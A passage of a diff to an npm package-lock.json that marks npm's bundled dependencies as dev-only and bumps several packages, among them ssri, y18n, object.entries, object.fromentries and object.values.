"version": "5.7.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"semver-diff": {
"version": "2.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"semver": "^5.0.3"
}
},
"set-blocking": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"sha": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"graceful-fs": "^4.1.2"
}
@@ -11432,29 +15069,35 @@
"shebang-command": {
"version": "1.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"shebang-regex": "^1.0.0"
}
},
"shebang-regex": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"signal-exit": {
"version": "3.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"slide": {
"version": "1.1.6",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"smart-buffer": {
"version": "4.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"socks": {
"version": "2.3.3",
"bundled": true,
+ "dev": true,
"requires": {
"ip": "1.1.5",
"smart-buffer": "^4.1.0"
@@ -11463,6 +15106,7 @@
"socks-proxy-agent": {
"version": "4.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"agent-base": "~4.2.1",
"socks": "~2.3.2"
@@ -11471,6 +15115,7 @@
"agent-base": {
"version": "4.2.1",
"bundled": true,
+ "dev": true,
"requires": {
"es6-promisify": "^5.0.0"
}
@@ -11479,11 +15124,13 @@
},
"sorted-object": {
"version": "2.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"sorted-union-stream": {
"version": "2.1.3",
"bundled": true,
+ "dev": true,
"requires": {
"from2": "^1.3.0",
"stream-iterate": "^1.1.0"
@@ -11492,6 +15139,7 @@
"from2": {
"version": "1.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"inherits": "~2.0.1",
"readable-stream": "~1.1.10"
@@ -11499,11 +15147,13 @@
},
"isarray": {
"version": "0.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"readable-stream": {
"version": "1.1.14",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.1",
@@ -11513,13 +15163,15 @@
},
"string_decoder": {
"version": "0.10.31",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"spdx-correct": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"spdx-expression-parse": "^3.0.0",
"spdx-license-ids": "^3.0.0"
@@ -11527,11 +15179,13 @@
},
"spdx-exceptions": {
"version": "2.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"spdx-expression-parse": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"spdx-exceptions": "^2.1.0",
"spdx-license-ids": "^3.0.0"
@@ -11539,15 +15193,18 @@
},
"spdx-license-ids": {
"version": "3.0.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"split-on-first": {
"version": "1.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"sshpk": {
"version": "1.14.2",
"bundled": true,
+ "dev": true,
"requires": {
"asn1": "~0.2.3",
"assert-plus": "^1.0.0",
@@ -11561,8 +15218,9 @@
}
},
"ssri": {
- "version": "6.0.1",
+ "version": "6.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"figgy-pudding": "^3.5.1"
}
@@ -11570,6 +15228,7 @@
"stream-each": {
"version": "1.2.2",
"bundled": true,
+ "dev": true,
"requires": {
"end-of-stream": "^1.1.0",
"stream-shift": "^1.0.0"
@@ -11578,6 +15237,7 @@
"stream-iterate": {
"version": "1.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"readable-stream": "^2.1.5",
"stream-shift": "^1.0.0"
@@ -11586,6 +15246,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -11599,6 +15260,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -11607,15 +15269,18 @@
},
"stream-shift": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"strict-uri-encode": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"string-width": {
"version": "2.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"is-fullwidth-code-point": "^2.0.0",
"strip-ansi": "^4.0.0"
@@ -11623,15 +15288,18 @@
"dependencies": {
"ansi-regex": {
"version": "3.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"strip-ansi": {
"version": "4.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-regex": "^3.0.0"
}
@@ -11641,38 +15309,45 @@
"string_decoder": {
"version": "1.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.2.0"
},
"dependencies": {
"safe-buffer": {
"version": "5.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"stringify-package": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"strip-ansi": {
"version": "3.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-regex": "^2.0.0"
}
},
"strip-eof": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"strip-json-comments": {
"version": "2.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"supports-color": {
"version": "5.4.0",
"bundled": true,
+ "dev": true,
"requires": {
"has-flag": "^3.0.0"
}
@@ -11680,6 +15355,7 @@
"tar": {
"version": "4.4.13",
"bundled": true,
+ "dev": true,
"requires": {
"chownr": "^1.1.1",
"fs-minipass": "^1.2.5",
@@ -11693,6 +15369,7 @@
"minipass": {
"version": "2.9.0",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "^5.1.2",
"yallist": "^3.0.0"
@@ -11703,21 +15380,25 @@
"term-size": {
"version": "1.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"execa": "^0.7.0"
}
},
"text-table": {
"version": "0.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"through": {
"version": "2.3.8",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"through2": {
"version": "2.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"readable-stream": "^2.1.5",
"xtend": "~4.0.1"
@@ -11726,6 +15407,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -11739,6 +15421,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -11747,15 +15430,18 @@
},
"timed-out": {
"version": "4.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"tiny-relative-date": {
"version": "1.3.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"tough-cookie": {
"version": "2.4.3",
"bundled": true,
+ "dev": true,
"requires": {
"psl": "^1.1.24",
"punycode": "^1.4.1"
@@ -11764,6 +15450,7 @@
"tunnel-agent": {
"version": "0.6.0",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "^5.0.1"
}
@@ -11771,23 +15458,28 @@
"tweetnacl": {
"version": "0.14.5",
"bundled": true,
+ "dev": true,
"optional": true
},
"typedarray": {
"version": "0.0.6",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"uid-number": {
"version": "0.0.6",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"umask": {
"version": "1.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"unique-filename": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"unique-slug": "^2.0.0"
}
@@ -11795,6 +15487,7 @@
"unique-slug": {
"version": "2.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"imurmurhash": "^0.1.4"
}
@@ -11802,21 +15495,25 @@
"unique-string": {
"version": "1.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"crypto-random-string": "^1.0.0"
}
},
"unpipe": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"unzip-response": {
"version": "2.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"update-notifier": {
"version": "2.5.0",
"bundled": true,
+ "dev": true,
"requires": {
"boxen": "^1.2.1",
"chalk": "^2.0.1",
@@ -11830,35 +15527,56 @@
"xdg-basedir": "^3.0.0"
}
},
+ "uri-js": {
+ "version": "4.4.0",
+ "bundled": true,
+ "dev": true,
+ "requires": {
+ "punycode": "^2.1.0"
+ },
+ "dependencies": {
+ "punycode": {
+ "version": "2.1.1",
+ "bundled": true,
+ "dev": true
+ }
+ }
+ },
"url-parse-lax": {
"version": "1.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"prepend-http": "^1.0.1"
}
},
"util-deprecate": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"util-extend": {
"version": "1.0.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"util-promisify": {
"version": "2.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"object.getownpropertydescriptors": "^2.0.3"
}
},
"uuid": {
"version": "3.3.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"validate-npm-package-license": {
"version": "3.0.4",
"bundled": true,
+ "dev": true,
"requires": {
"spdx-correct": "^3.0.0",
"spdx-expression-parse": "^3.0.0"
@@ -11867,6 +15585,7 @@
"validate-npm-package-name": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"builtins": "^1.0.3"
}
@@ -11874,6 +15593,7 @@
"verror": {
"version": "1.10.0",
"bundled": true,
+ "dev": true,
"requires": {
"assert-plus": "^1.0.0",
"core-util-is": "1.0.2",
@@ -11883,6 +15603,7 @@
"wcwidth": {
"version": "1.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"defaults": "^1.0.3"
}
@@ -11890,17 +15611,20 @@
"which": {
"version": "1.3.1",
"bundled": true,
+ "dev": true,
"requires": {
"isexe": "^2.0.0"
}
},
"which-module": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"wide-align": {
"version": "1.1.2",
"bundled": true,
+ "dev": true,
"requires": {
"string-width": "^1.0.2"
},
@@ -11908,6 +15632,7 @@
"string-width": {
"version": "1.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -11919,6 +15644,7 @@
"widest-line": {
"version": "2.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"string-width": "^2.1.1"
}
@@ -11926,6 +15652,7 @@
"worker-farm": {
"version": "1.7.0",
"bundled": true,
+ "dev": true,
"requires": {
"errno": "~0.1.7"
}
@@ -11933,6 +15660,7 @@
"wrap-ansi": {
"version": "5.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-styles": "^3.2.0",
"string-width": "^3.0.0",
@@ -11941,15 +15669,18 @@
"dependencies": {
"ansi-regex": {
"version": "4.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"string-width": {
"version": "3.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"emoji-regex": "^7.0.1",
"is-fullwidth-code-point": "^2.0.0",
@@ -11959,6 +15690,7 @@
"strip-ansi": {
"version": "5.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-regex": "^4.1.0"
}
@@ -11967,11 +15699,13 @@
},
"wrappy": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"write-file-atomic": {
"version": "2.4.3",
"bundled": true,
+ "dev": true,
"requires": {
"graceful-fs": "^4.1.11",
"imurmurhash": "^0.1.4",
@@ -11980,23 +15714,28 @@
},
"xdg-basedir": {
"version": "3.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"xtend": {
"version": "4.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"y18n": {
- "version": "4.0.0",
- "bundled": true
+ "version": "4.0.1",
+ "bundled": true,
+ "dev": true
},
"yallist": {
"version": "3.0.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"yargs": {
"version": "14.2.3",
"bundled": true,
+ "dev": true,
"requires": {
"cliui": "^5.0.0",
"decamelize": "^1.2.0",
@@ -12013,22 +15752,26 @@
"dependencies": {
"ansi-regex": {
"version": "4.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"find-up": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"locate-path": "^3.0.0"
}
},
"is-fullwidth-code-point": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"locate-path": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"p-locate": "^3.0.0",
"path-exists": "^3.0.0"
@@ -12037,6 +15780,7 @@
"p-limit": {
"version": "2.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"p-try": "^2.0.0"
}
@@ -12044,17 +15788,20 @@
"p-locate": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"p-limit": "^2.0.0"
}
},
"p-try": {
"version": "2.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"string-width": {
"version": "3.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"emoji-regex": "^7.0.1",
"is-fullwidth-code-point": "^2.0.0",
@@ -12064,6 +15811,7 @@
"strip-ansi": {
"version": "5.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"ansi-regex": "^4.1.0"
}
@@ -12073,6 +15821,7 @@
"yargs-parser": {
"version": "15.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"camelcase": "^5.0.0",
"decamelize": "^1.2.0"
@@ -12080,7 +15829,8 @@
"dependencies": {
"camelcase": {
"version": "5.3.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
}
@@ -12090,6 +15840,7 @@
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz",
"integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=",
+ "dev": true,
"requires": {
"path-key": "^2.0.0"
}
@@ -12130,7 +15881,8 @@
"number-is-nan": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
- "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0="
+ "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=",
+ "dev": true
},
"oauth-sign": {
"version": "0.9.0",
@@ -12177,7 +15929,8 @@
"object-hash": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.0.3.tgz",
- "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg=="
+ "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==",
+ "dev": true
},
"object-inspect": {
"version": "1.7.0",
@@ -12198,7 +15951,8 @@
"object-keys": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
- "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="
+ "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+ "dev": true
},
"object-visit": {
"version": "1.0.1",
@@ -12213,6 +15967,7 @@
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz",
"integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==",
+ "dev": true,
"requires": {
"define-properties": "^1.1.2",
"function-bind": "^1.1.1",
@@ -12221,27 +15976,199 @@
}
},
"object.entries": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.1.tgz",
- "integrity": "sha512-ilqR7BgdyZetJutmDPfXCDffGa0/Yzl2ivVNpbx/g4UeWrCdRnFDUBrKJGLhGieRHDATnyZXWBeCb29k9CJysQ==",
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.3.tgz",
+ "integrity": "sha512-ym7h7OZebNS96hn5IJeyUmaWhaSM4SVtAPPfNLQEI2MYWCO2egsITb9nab2+i/Pwibx+R0mtn+ltKJXRSeTMGg==",
"dev": true,
"requires": {
+ "call-bind": "^1.0.0",
"define-properties": "^1.1.3",
- "es-abstract": "^1.17.0-next.1",
- "function-bind": "^1.1.1",
+ "es-abstract": "^1.18.0-next.1",
"has": "^1.0.3"
+ },
+ "dependencies": {
+ "es-abstract": {
+ "version": "1.18.0",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz",
+ "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "es-to-primitive": "^1.2.1",
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.1.1",
+ "has": "^1.0.3",
+ "has-symbols": "^1.0.2",
+ "is-callable": "^1.2.3",
+ "is-negative-zero": "^2.0.1",
+ "is-regex": "^1.1.2",
+ "is-string": "^1.0.5",
+ "object-inspect": "^1.9.0",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.2",
+ "string.prototype.trimend": "^1.0.4",
+ "string.prototype.trimstart": "^1.0.4",
+ "unbox-primitive": "^1.0.0"
+ }
+ },
+ "has-symbols": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
+ "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+ "dev": true
+ },
+ "is-callable": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz",
+ "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==",
+ "dev": true
+ },
+ "is-regex": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz",
+ "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "has-symbols": "^1.0.1"
+ }
+ },
+ "object-inspect": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz",
+ "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==",
+ "dev": true
+ },
+ "object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "has-symbols": "^1.0.1",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "string.prototype.trimend": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz",
+ "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ },
+ "string.prototype.trimstart": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz",
+ "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ }
}
},
"object.fromentries": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.2.tgz",
- "integrity": "sha512-r3ZiBH7MQppDJVLx6fhD618GKNG40CZYH9wgwdhKxBDDbQgjeWGGd4AtkZad84d291YxvWe7bJGuE65Anh0dxQ==",
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.4.tgz",
+ "integrity": "sha512-EsFBshs5RUUpQEY1D4q/m59kMfz4YJvxuNCJcv/jWwOJr34EaVnG11ZrZa0UHB3wnzV1wx8m58T4hQL8IuNXlQ==",
"dev": true,
"requires": {
+ "call-bind": "^1.0.2",
"define-properties": "^1.1.3",
- "es-abstract": "^1.17.0-next.1",
- "function-bind": "^1.1.1",
+ "es-abstract": "^1.18.0-next.2",
"has": "^1.0.3"
+ },
+ "dependencies": {
+ "es-abstract": {
+ "version": "1.18.0",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz",
+ "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "es-to-primitive": "^1.2.1",
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.1.1",
+ "has": "^1.0.3",
+ "has-symbols": "^1.0.2",
+ "is-callable": "^1.2.3",
+ "is-negative-zero": "^2.0.1",
+ "is-regex": "^1.1.2",
+ "is-string": "^1.0.5",
+ "object-inspect": "^1.9.0",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.2",
+ "string.prototype.trimend": "^1.0.4",
+ "string.prototype.trimstart": "^1.0.4",
+ "unbox-primitive": "^1.0.0"
+ }
+ },
+ "has-symbols": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
+ "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+ "dev": true
+ },
+ "is-callable": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz",
+ "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==",
+ "dev": true
+ },
+ "is-regex": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz",
+ "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "has-symbols": "^1.0.1"
+ }
+ },
+ "object-inspect": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz",
+ "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==",
+ "dev": true
+ },
+ "object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+ "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.0",
+ "define-properties": "^1.1.3",
+ "has-symbols": "^1.0.1",
+ "object-keys": "^1.1.1"
+ }
+ },
+ "string.prototype.trimend": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz",
+ "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ },
+ "string.prototype.trimstart": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz",
+ "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "define-properties": "^1.1.3"
+ }
+ }
}
},
"object.getownpropertydescriptors": {
@@ -12264,15 +16191,101 @@
}
},
"object.values": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.1.tgz",
- "integrity": "sha512-WTa54g2K8iu0kmS/us18jEmdv1a4Wi//BZ/DTVYEcH0XhLM5NYdpDHja3gt57VrZLcNAO2WGA+KpWsDBaHt6eA==",
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.3.tgz",
+ "integrity": "sha512-nkF6PfDB9alkOUxpf1HNm/QlkeW3SReqL5WXeBLpEJJnlPSvRaDQpW3gQTksTN3fgJX4hL42RzKyOin6ff3tyw==",
"dev": true,
"requires": {
+ "call-bind": "^1.0.2",
"define-properties": "^1.1.3",
- "es-abstract": "^1.17.0-next.1",
- "function-bind": "^1.1.1",
+ "es-abstract": "^1.18.0-next.2",
"has": "^1.0.3"
+ },
+ "dependencies": {
+ "es-abstract": {
+ "version": "1.18.0",
+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz",
+ "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "es-to-primitive": "^1.2.1",
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.1.1",
+ "has": "^1.0.3",
+ "has-symbols": "^1.0.2",
+ "is-callable": "^1.2.3",
+ "is-negative-zero": "^2.0.1",
+ "is-regex": "^1.1.2",
+ "is-string": "^1.0.5",
+ "object-inspect": "^1.9.0",
+ "object-keys": "^1.1.1",
+ "object.assign": "^4.1.2",
+ "string.prototype.trimend": "^1.0.4",
+ "string.prototype.trimstart": "^1.0.4",
+ "unbox-primitive": "^1.0.0"
+ }
+ },
+ "has-symbols": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz",
+ "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==",
+ "dev": true
+ },
+ "is-callable": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz",
+ "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==",
+ "dev": true
+ },
+ "is-regex": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz",
+ "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==",
+ "dev": true,
+ "requires": {
+ "call-bind": "^1.0.2",
+ "has-symbols": "^1.0.1"
+ }
+ },
+ "object-inspect": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz",
+ "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==",
+ "dev": true
+ },
+ "object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
